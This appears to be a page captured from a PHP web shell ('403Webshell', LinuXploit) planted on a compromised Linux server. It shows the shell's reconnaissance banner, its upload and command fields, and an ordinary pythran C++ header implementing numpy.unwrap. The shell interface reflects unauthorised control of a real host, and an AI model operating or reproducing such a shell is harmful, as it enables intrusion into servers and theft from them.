403Webshell
Server IP : 217.160.0.212  /  Your IP : 216.73.216.141
Web Server : Apache
System : Linux www 6.18.51-i1-ampere #1196 SMP Fri Sep 11 20:43:55 CEST 2026 aarch64
User : sws1073854427 ( 1073854427)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/pythran/pythonic/numpy/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/pythran/pythonic/numpy/unwrap.hpp
#ifndef PYTHONIC_NUMPY_UNWRAP_HPP
#define PYTHONIC_NUMPY_UNWRAP_HPP

#include "pythonic/include/numpy/unwrap.hpp"

#include "pythonic/utils/functor.hpp"
#include "pythonic/utils/int_.hpp"
#include "pythonic/types/ndarray.hpp"
#include "pythonic/numpy/pi.hpp"

#include <pythonic/numpy/maximum.hpp>
#include <pythonic/numpy/abs.hpp>
#include <pythonic/numpy/round.hpp>

PYTHONIC_NS_BEGIN

namespace numpy
{
  namespace
  {
    template <class I0, class I1>
    void _unwrap(I0 ibegin, I0 iend, I1 obegin, double discont, utils::int_<1>)
    {
      *obegin = *ibegin;
      ++ibegin;
      for (; ibegin != iend; ++ibegin, ++obegin) {
        if (functor::abs{}(*obegin - *ibegin) > discont)
          *(obegin + 1) =
              *ibegin +
              2 * pi * functor::round{}((*obegin - *ibegin) / (2 * pi));
        else
          *(obegin + 1) = *ibegin;
      }
    }

    template <class I0, class I1, size_t N>
    void _unwrap(I0 ibegin, I0 iend, I1 obegin, double discont, utils::int_<N>)
    {
      for (; ibegin != iend; ++ibegin, ++obegin)
        _unwrap((*ibegin).begin(), (*ibegin).end(), (*obegin).begin(), discont,
                utils::int_<N - 1>());
    }
  }

  template <class E>
  types::ndarray<double, typename E::shape_t> unwrap(E const &expr,
                                                     double discont)
  {
    discont = functor::maximum{}(discont, pi);
    types::ndarray<double, typename E::shape_t> out(sutils::getshape(expr),
                                                    builtins::None);
    _unwrap(expr.begin(), expr.end(), out.begin(), discont,
            utils::int_<E::value>());
    return out;
  }
}
PYTHONIC_NS_END

#endif

Youez - 2016 - github.com/yon3zu
LinuXploit